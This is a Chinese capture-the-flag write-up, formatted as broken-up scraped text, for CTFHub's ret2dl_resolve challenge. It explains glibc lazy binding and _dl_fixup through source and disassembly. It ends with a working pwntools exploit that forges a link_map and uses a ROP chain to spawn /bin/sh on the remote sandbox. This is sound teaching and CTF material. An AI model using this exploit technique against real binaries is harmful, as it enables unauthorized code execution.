pwndbg> ptype Struct
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char buf[
256
];
/
/
[rsp
+
0h
] [rbp
-
100h
] BYREF
read(
0
, buf,
0x1000uLL
);
return
0
;
}
/
*
Arch: amd64
-
64
-
little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x3ff000
)
RUNPATH: b
'/root/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
*
/
|
超大的栈溢出,保护只开了NX和Partial RELRO
ELF中没有后门函数,可利用字符串,可用的函数也只有read
>>>elf.plt<br>
{'read': 4195312}<br>
>>>elf.got<br>
{'__libc_startmain': 6295536, '\_gmon_start__': 6295544, 'read': 6295576}
由于程序中提供的函数符号有限,所以无法正常泄露出libc基址,需要ret2dl-resolve泄露libc函数地址,并使用其和system函数的偏移计算得到system函数
为避免在运行程序时加载过多的动态链接导致卡顿,操作系统实现了延迟绑定(Lazy Binding)的技术,只有在函数首次调用时才进行绑定,
当程序首次 call func@plt,将执行以下操作,此处拿read@plt作为示例
1
|
.text:
0000000000400506
call _read
|
1
2
3
4
5
|
_read proc near
.plt:
00000000004003F0
jmp cs:off_601018
_read endp
.plt:
00000000004003F6
push
0
.plt:
00000000004003FB
jmp plt_0
|
当程序每次call _read
时,都将跳转至0x4003F0执行jmp语句,在首次调用时,cs:off_601018
指向read@plt的下一条指令,即0x4003F6以进行绑定操作,在第一次调用后,cs:off_601018
将指向read的真正地址
1
2
3
4
|
plt_0 proc near
.plt:
00000000004003E0
push cs:linkMap
.plt:
00000000004003E6
jmp cs:_dl_runtime_resolve
plt_0 endp
|
在push cs:linkMap
后跳转至_dl_runtime_resolve
函数,加上read@plt中push 0
,此处即调用_dl_runtime_resolve(linkMap,0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
;↓↓↓↓↓↓↓↓↓↓保存调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c17750
<
+
0
>: push rbx
0x00007ffff7c17751
<
+
1
>: mov rbx,rsp
0x00007ffff7c17754
<
+
4
>:
and
rsp,
0xffffffffffffffc0
0x00007ffff7c17758
<
+
8
>: sub rsp,QWORD PTR [rip
+
0x2100a9
]
# 0x7ffff7e27808 <_rtld_global_ro+168>
0x00007ffff7c1775f
<
+
15
>: mov QWORD PTR [rsp],rax
0x00007ffff7c17763
<
+
19
>: mov QWORD PTR [rsp
+
0x8
],rcx
0x00007ffff7c17768
<
+
24
>: mov QWORD PTR [rsp
+
0x10
],rdx
0x00007ffff7c1776d
<
+
29
>: mov QWORD PTR [rsp
+
0x18
],rsi
0x00007ffff7c17772
<
+
34
>: mov QWORD PTR [rsp
+
0x20
],rdi
0x00007ffff7c17777
<
+
39
>: mov QWORD PTR [rsp
+
0x28
],r8
0x00007ffff7c1777c
<
+
44
>: mov QWORD PTR [rsp
+
0x30
],r9
0x00007ffff7c17781
<
+
49
>: mov eax,
0xee
0x00007ffff7c17786
<
+
54
>: xor edx,edx
0x00007ffff7c17788
<
+
56
>: mov QWORD PTR [rsp
+
0x250
],rdx
0x00007ffff7c17790
<
+
64
>: mov QWORD PTR [rsp
+
0x258
],rdx
0x00007ffff7c17798
<
+
72
>: mov QWORD PTR [rsp
+
0x260
],rdx
0x00007ffff7c177a0
<
+
80
>: mov QWORD PTR [rsp
+
0x268
],rdx
0x00007ffff7c177a8
<
+
88
>: mov QWORD PTR [rsp
+
0x270
],rdx
0x00007ffff7c177b0
<
+
96
>: mov QWORD PTR [rsp
+
0x278
],rdx
0x00007ffff7c177b8
<
+
104
>: xsavec [rsp
+
0x40
]
0x00007ffff7c177bd
<
+
109
>: mov rsi,QWORD PTR [rbx
+
0x10
]
0x00007ffff7c177c1
<
+
113
>: mov rdi,QWORD PTR [rbx
+
0x8
]
;↑↑↑↑↑↑↑↑↑↑保存调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c177c5
<
+
117
>: call
0x7ffff7c0fdf0
<_dl_fixup>;真正的绑定查询函数
0x00007ffff7c177ca
<
+
122
>: mov r11,rax ;将结果保存至R11
;↓↓↓↓↓↓↓↓↓↓还原调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c177cd
<
+
125
>: mov eax,
0xee
0x00007ffff7c177d2
<
+
130
>: xor edx,edx
0x00007ffff7c177d4
<
+
132
>: xrstor [rsp
+
0x40
]
0x00007ffff7c177d9
<
+
137
>: mov r9,QWORD PTR [rsp
+
0x30
]
0x00007ffff7c177de
<
+
142
>: mov r8,QWORD PTR [rsp
+
0x28
]
0x00007ffff7c177e3
<
+
147
>: mov rdi,QWORD PTR [rsp
+
0x20
]
0x00007ffff7c177e8
<
+
152
>: mov rsi,QWORD PTR [rsp
+
0x18
]
0x00007ffff7c177ed
<
+
157
>: mov rdx,QWORD PTR [rsp
+
0x10
]
0x00007ffff7c177f2
<
+
162
>: mov rcx,QWORD PTR [rsp
+
0x8
]
0x00007ffff7c177f7
<
+
167
>: mov rax,QWORD PTR [rsp]
0x00007ffff7c177fb
<
+
171
>: mov rsp,rbx
0x00007ffff7c177fe
<
+
174
>: mov rbx,QWORD PTR [rsp]
0x00007ffff7c17802
<
+
178
>: add rsp,
0x18
;↑↑↑↑↑↑↑↑↑↑还原调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c17806
<
+
182
>: bnd jmp r11 ;跳转至原目标函数
|
可以看到_dl_runtime_resolve_xsavec
函数只负责
1.保存原目标函数(read)的参数环境<br>
2.调用_dl_fixup查询并绑定read的真正地址至linkMap中指定的重定位地址<br>
3.还原原目标函数(read)的参数环境<br>
4.跳转至_dl_fixup的查询结果<br>
而真正做查询绑定操作的是_dl_fixup
函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
_dl_fixup(struct link_map
*
l, ElfW(Word) reloc_arg)
{
/
/
符号表symtab
=
linkMap
-
>l_info[
6
]
const ElfW(Sym)
*
const symtab
=
(const void
*
)D_PTR(l, l_info[DT_SYMTAB]);
/
/
字符串表strtab
=
linkMap
-
>l_info[
5
]
const char
*
strtab
=
(const void
*
)D_PTR(l, l_info[DT_STRTAB]);
/
/
重定位表reloc
=
linkMap
-
>l_info[
23
]
+
reloc_arg
const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
/
/
定位符号sym
=
symtab[reloc
-
>r_info] 此处使用reloc
-
>r_info的高
32
位作为索引
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM)(reloc
-
>r_info)];
const ElfW(Sym)
*
refsym
=
sym;
/
/
重定位地址(rel_addr)
=
LinkMap
-
>l_addr
+
reloc
-
>r_offset
void
*
const rel_addr
=
(void
*
)(l
-
>l_addr
+
reloc
-
>r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/
*
判断重定位类型是否为
7
-
-
ELF_MACHINE_JMP_SLOT
*
/
assert
(ELFW(R_TYPE)(reloc
-
>r_info)
=
=
ELF_MACHINE_JMP_SLOT);
/
*
此处判断sym
-
>st_other的最后两位是否为
0
*
/
if
(__builtin_expect(ELFW(ST_VISIBILITY)(sym
-
>st_other),
0
)
=
=
0
)
{
const struct r_found_version
*
version
=
NULL;
if
(l
-
>l_info[VERSYMIDX(DT_VERSYM)] !
=
NULL)
{
const ElfW(Half)
*
vernum
=
(const void
*
)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx
=
vernum[ELFW(R_SYM)(reloc
-
>r_info)] &
0x7fff
;
version
=
&l
-
>l_versions[ndx];
if
(version
-
>
hash
=
=
0
)
version
=
NULL;
}
int
flags
=
DL_LOOKUP_ADD_DEPENDENCY;
/
/
156
if
(!RTLD_SINGLE_THREAD_P)
/
/
171
{
THREAD_GSCOPE_SET_FLAG();
flags |
=
DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result
=
_dl_lookup_symbol_x(strtab
+
sym
-
>st_name, l, &sym, l
-
>l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/
*
We are done with the
global
scope.
*
/
if
(!RTLD_SINGLE_THREAD_P)
/
/
+
226
THREAD_GSCOPE_RESET_FLAG();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/
*
Currently result contains the base load address (
or
link
map
)
of the
object
that defines sym. Now add
in
the symbol
offset.
*
/
value
=
DL_FIXUP_MAKE_VALUE(result,sym ? (LOOKUP_VALUE_ADDRESS(result)
+
sym
-
>st_value) :
0
);
}
else
{
/
/
绑定查询结果等于 linkMap
-
>l_addr
+
sym
-
>st_value
value
=
DL_FIXUP_MAKE_VALUE(l, l
-
>l_addr
+
sym
-
>st_value);
result
=
l;
}
value
=
elf_machine_plt_value(l, reloc, value);
if
(sym !
=
NULL && __builtin_expect(ELFW(ST_TYPE)(sym
-
>st_info)
=
=
STT_GNU_IFUNC,
0
))
value
=
elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
/
*
Finally, fix up the plt itself.
*
/
if
(__glibc_unlikely(GLRO(dl_bind_not)))
return
value;
return
elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
|
<
+
0
>: push rbx
<
+
1
>: mov r10,rdi ;r10
=
rdi
=
LinkMap
<
+
4
>: mov esi,esi
<
+
6
>: lea rdx,[rsi
+
rsi
*
2
] ;rdx
=
rsi
=
0
<
+
10
>: sub rsp,
0x10
;const char
*
strtab
=
(const void
*
)D_PTR(l, l_info[DT_STRTAB]);
<
+
14
>: mov rax,QWORD PTR [rdi
+
0x68
] ;rax
=
DT_STRTAB
<
+
18
>: mov rdi,QWORD PTR [rax
+
0x8
] ;rdi
=
ELF String Table
;const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
<
+
22
>: mov rax,QWORD PTR [r10
+
0xf8
] ;rax
=
DT_JMPREL
<
+
29
>: mov rax,QWORD PTR [rax
+
0x8
] ;rax
=
Elf64_Rela
;const ElfW(Sym)
*
const symtab
=
(const void
*
)D_PTR(l, l_info[DT_SYMTAB]);
<
+
33
>: lea r8,[rax
+
rdx
*
8
] ;r8
=
rax
=
Elf64_Rela
<
+
37
>: mov rax,QWORD PTR [r10
+
0x70
] ;rax
=
DT_SYMTAB
;const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
<
+
41
>: mov rcx,QWORD PTR [r8
+
0x8
] ;rcx
=
Elf64_Rela
-
>r_info
<
+
45
>: mov rbx,QWORD PTR [r8] ;rbx
=
Elf64_Rela
-
>r_offset
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM)(reloc
-
>r_info)];
<
+
48
>: mov rax,QWORD PTR [rax
+
0x8
] ;rax
=
Elf64_Sym
<
+
52
>: mov rdx,rcx ;rdx
=
rcx
=
Elf64_Rela
-
>r_info
<
+
55
>: shr rdx,
0x20
;rdx
=
rdx >>
0x20
=
Elf64_Rela
-
>r_info>>
0x20
<
+
59
>: lea rsi,[rdx
+
rdx
*
2
]
<
+
63
>: lea rsi,[rax
+
rsi
*
8
] ;rsi
=
Elf64_Sym[Elf64_Rela
-
>r_info >>
32
]
;const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
<
+
67
>: mov rax,QWORD PTR [r10] ;rax
=
linkMap
-
>l_addr
<
+
70
>: mov QWORD PTR [rsp
+
0x8
],rsi ;var_sym
=
rsi
<
+
75
>: add rbx,rax
;
assert
(ELFW(R_TYPE)(reloc
-
>r_info)
=
=
ELF_MACHINE_JMP_SLOT);
<
+
78
>:
cmp
ecx,
0x7
<
+
81
>: jne
0x7fa516a0ff64
<_dl_fixup
+
372
>
;
if
(__builtin_expect(ELFW(ST_VISIBILITY)(sym
-
>st_other),
0
)
=
=
0
)
<
+
87
>: test BYTE PTR [rsi
+
0x5
],
0x3
<
+
91
>: jne
0x7fa516a0fee8
<_dl_fixup
+
248
>
<
+
97
>: mov rax,QWORD PTR [r10
+
0x1c8
]
<
+
104
>: xor r8d,r8d
<
+
107
>: test rax,rax
<
+
110
>: je
0x7fa516a0fe8c
<_dl_fixup
+
156
>
<
+
112
>: mov rax,QWORD PTR [rax
+
0x8
]
<
+
116
>: movzx eax,WORD PTR [rax
+
rdx
*
2
]
<
+
120
>:
and
eax,
0x7fff
<
+
125
>: lea rdx,[rax
+
rax
*
2
]
<
+
129
>: mov rax,QWORD PTR [r10
+
0x2e0
]
<
+
136
>: lea r8,[rax
+
rdx
*
8
]
<
+
140
>: mov eax,
0x0
<
+
145
>: mov r9d,DWORD PTR [r8
+
0x8
]
<
+
149
>: test r9d,r9d
<
+
152
>: cmove r8,rax
<
+
156
>: mov edx,DWORD PTR fs:
0x18
<
+
164
>: test edx,edx
<
+
166
>: mov eax,
0x1
<
+
171
>: jne
0x7fa516a0ff48
<_dl_fixup
+
344
>
<
+
177
>: mov esi,DWORD PTR [rsi]
<
+
179
>: mov rcx,QWORD PTR [r10
+
0x380
]
<
+
186
>: lea rdx,[rsp
+
0x8
]
<
+
191
>: push
0x0
<
+
193
>: push rax
<
+
194
>: mov r9d,
0x1
<
+
200
>: add rdi,rsi
<
+
203
>: mov rsi,r10
<
+
206
>: call
0x7fa516a0b0b0
<_dl_lookup_symbol_x>
<
+
211
>: mov r8,rax
<
+
214
>: mov eax,DWORD PTR fs:
0x18
<
+
222
>: test eax,eax
<
+
224
>: pop rcx
<
+
225
>: pop rsi
<
+
226
>: jne
0x7fa516a0ff10
<_dl_fixup
+
288
>
<
+
228
>: mov rsi,QWORD PTR [rsp
+
0x8
]
<
+
233
>: xor eax,eax
;
if
(sym !
=
NULL && __builtin_expect(ELFW(ST_TYPE)(sym
-
>st_info)
=
=
STT_GNU_IFUNC,
0
))
<
+
235
>: test rsi,rsi
<
+
238
>: je
0x7fa516a0fef8
<_dl_fixup
+
264
>;sym
=
=
NULL
<
+
240
>: test r8,r8
<
+
243
>: je
0x7fa516a0fee8
<_dl_fixup
+
248
>
<
+
245
>: mov rax,QWORD PTR [r8]
;value
=
DL_FIXUP_MAKE_VALUE(l, l
-
>l_addr
+
sym
-
>st_value);
<
+
248
>: movzx edx,BYTE PTR [rsi
+
0x4
] ;edx
=
[rsi
+
0x4
]
=
sym
-
>st_info
<
+
252
>: add rax,QWORD PTR [rsi
+
0x8
] ;rax
=
rax
+
[rsi
+
0x8
]
=
linkMap
-
>l_addr
+
sym
-
>st_value 此命令执行完后rax
=
真正函数地址
;
if
(sym !
=
NULL && __builtin_expect(ELFW(ST_TYPE)(sym
-
>st_info)
=
=
STT_GNU_IFUNC,
0
))
<
+
256
>:
and
edx,
0xf
<
+
259
>:
cmp
dl,
0xa
;
if
sym
-
>st_info
=
=
STT_GNU_IFUNC
<
+
262
>: je
0x7fa516a0ff60
<_dl_fixup
+
368
>
;
if
(__glibc_unlikely(GLRO(dl_bind_not)))
<
+
264
>: mov edx,DWORD PTR [rip
+
0x2178aa
] ;edx
=
dl_bind_not
<
+
270
>: test edx,edx
<
+
272
>: jne
0x7fa516a0ff05
<_dl_fixup
+
277
> ;
if
(__glibc_unlikely(GLRO(dl_bind_not)))
;
return
value;
<
+
274
>: mov QWORD PTR [rbx],rax ;reloc
=
绑定查询结果
<
+
277
>: add rsp,
0x10
<
+
281
>: pop rbx
<
+
282
>: ret
<
+
283
>: nop DWORD PTR [rax
+
rax
*
1
+
0x0
]
<
+
288
>: xor eax,eax
<
+
290
>: xchg DWORD PTR fs:
0x1c
,eax
<
+
298
>:
cmp
eax,
0x2
<
+
301
>: jne
0x7fa516a0fed4
<_dl_fixup
+
228
>
<
+
303
>: mov rdi,QWORD PTR fs:
0x10
<
+
312
>: xor r10d,r10d
<
+
315
>: add rdi,
0x1c
<
+
319
>: mov edx,
0x1
<
+
324
>: mov esi,
0x81
<
+
329
>: mov eax,
0xca
<
+
334
>: syscall
<
+
336
>: jmp
0x7fa516a0fed4
<_dl_fixup
+
228
>
<
+
338
>: nop WORD PTR [rax
+
rax
*
1
+
0x0
]
<
+
344
>: mov DWORD PTR fs:
0x1c
,
0x1
<
+
356
>: mov eax,
0x5
<
+
361
>: jmp
0x7fa516a0fea1
<_dl_fixup
+
177
>
<
+
366
>: xchg ax,ax
;value
=
elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
<
+
368
>: call rax
<
+
370
>: jmp
0x7fa516a0fef8
<_dl_fixup
+
264
> ;
if
(__glibc_unlikely(GLRO(dl_bind_not)))
<
+
372
>: lea rcx,[rip
+
0x132fd
]
# 0x7fa516a23268 <__PRETTY_FUNCTION__.10843>
<
+
379
>: lea rsi,[rip
+
0x1115a
]
# 0x7fa516a210cc
<
+
386
>: lea rdi,[rip
+
0x132b7
]
# 0x7fa516a23230
<
+
393
>: mov edx,
0x50
<
+
398
>: call
0x7fa516a1b790
<__GI___assert_fail>;重定位类型不等于
7
|
由于本题是x64且保护Partial RELRO,所以暂不分析st_other==0的情况
根据源码和汇编的分析,可知
伪造
LinkMap
<br>
伪造LinkMap->l_addr
作为偏移以计算最终绑定函数地址<br>
伪造LinkMap->l_info[JMPREL]
及ELF64_Rela
以定位sym索引及重定位地址<br>
伪造LinkMap->l_info[SYMTAB]
来定位libc函数将st_value
作为基址以计算最终绑定函数地址
__dl_fixup
函数会根据LinkMap->l_info\[SYMTAB\]->ELF_SYM
获得st_value
,并将其与LinkMap->l_addr
相加最后作为查询结果<br>
而目前在ELF中的libc函数已知的已有read
和__libc_start_main
,其中若使用__libc_start_main@got - 0x8
作为ELF_SYM
的话,st_other
值为0x58<br>
在对__dl_fixup<+87>
汇编分析中,程序检查了st_other
的低2位是否为0,若为0则不会执行DL_FIXUP_MAKE_VALUE
转而执行_dl_lookup_symbol_x
,而我们最终目的是使用DL_FIXUP_MAKE_VALUE
来泄露libc函数地址并计算出system
函数地址,所以__libc_start_main
不能作为伪造的ELF_SYM
<br>
而对于read@got-0x8
作为伪造的ELF_SYM
,其st_other
的值为0x7e,符合低两位不为0的条件
以下是需要伪造的LinkMap
结构分析
左 为LinkMap成员和FakeLinkMap需伪造成员的对照<br>
中 为FakeLinkMap需伪造成员的结构和位置<br>
右 为FakeLinkMap伪造后的具体成员结构和值
由于不采用_dl_lookup_symbol_x
查询函数,所以无需伪造ELF_Sym结构体,直接将其指向read@got-0x8
即可,这样即可得到sym->st_value
为read
的真实地址,而最终地址为 l_addr - sym->st_value
,所以只需计算并传入这个偏移 l_addr
即可获得最终函数的地址
1.虽然在利用中DT_STRTAB未被使用,但仍需将其和成员String table指向一块可读写的空间<br>
2.虽然并不需要用到绑定写入的最终函数地址,但仍需计算并指定reloc->r_offset使重定位地址落在一个可读写的内存空间上<br>
3.LinkMap的DT_PTR并不直接指向ELF结构体,而是指向Dynamic结构体
最终的EXP如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
from
pwn
import
*
prog
=
"./pwn"
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
elf
=
ELF(prog)
libc
=
ELF(
"./libc-2.27.so"
)
p
=
remote(
"challenge-f236dc39487bb0bb.sandbox.ctfhub.com"
,
37969
)
fakeLinkMap
=
0x601030
+
0x110
# write to where
rbp
=
fakeLinkMap
-
8
pop_rdi_ret
=
0x400583
pop_rsi_r15_ret
=
0x400581
main
=
0x4004E7
ret
=
0x4003de
l_addr
=
abs
(libc.sym[
'system'
]
-
libc.sym[
'read'
])
#l_addr为system到read函数的偏移
off
=
0xFFFFFFFFFFF3F410
#手动计算负数偏移的16进制形式
linkMap
=
p64(off)
linkMap
+
=
p64(
0x17
)
linkMap
+
=
p64(fakeLinkMap
+
0x18
)
linkMap
+
=
p64(fakeLinkMap
+
0x30
+
l_addr)
#因为l_addr为负,在处理时会减去|l_addr|,此处直接加上|l_addr|抵消
linkMap
+
=
p64(
7
)
linkMap
+
=
p64(
0
)
linkMap
+
=
p64(
0x6
)
linkMap
+
=
p64(elf.got[
'read'
]
-
0x8
)
linkMap
+
=
b
'/bin/sh\x00'
linkMap
=
linkMap.ljust(
0x60
,b
'A'
)
linkMap
+
=
p64(fakeLinkMap
+
0x100
)
linkMap
+
=
p64(fakeLinkMap
+
0x58
)
linkMap
+
=
p64(fakeLinkMap
+
0x30
)
linkMap
=
linkMap.ljust(
0xf8
,b
'A'
)
linkMap
+
=
p64(fakeLinkMap
+
0x8
)
payload
=
b
'a'
*
0x100
payload
+
=
p64(rbp)
#将FakeLinkMap写入bss段中
payload
+
=
p64(pop_rdi_ret)
payload
+
=
p64(
0
)
payload
+
=
p64(pop_rsi_r15_ret)
payload
+
=
p64(fakeLinkMap)
payload
+
=
p64(
0
)
payload
+
=
p64(elf.plt[
'read'
])
#将FakeLinkMap写入bss段中
#将/bin/sh作为参数push进rdi
payload
+
=
p64(pop_rdi_ret)
payload
+
=
p64(fakeLinkMap
+
0x40
)
#将/bin/sh作为参数push进rdi
payload
+
=
p64(ret)
#平衡栈
payload
+
=
p64(
0x4003E6
)
#跳转至plt0查询函数
payload
+
=
p64(fakeLinkMap)
#fakeLinkMap作为l参数
payload
+
=
p64(
0
)
#0为参数reloc_args
payload
+
=
p64(main)
pause()
p.send(payload)
pause()
p.send(linkMap)
p.interactive()
|
l_addr的计算有可能是负数,Python里-1就是-1,但是p64函数并不接受一个负数,必须让-1不是-1而是0xFFFFFFFFFFFFFFFF,所以我手动计算负数的值并将其写为十六进制以避免p64()函数报错,由于我编码能力垃圾暂时也没想明白怎么解决
更多【[writeup]CTFHUB-ret2dl_resolve】相关视频教程:www.yxfzedu.com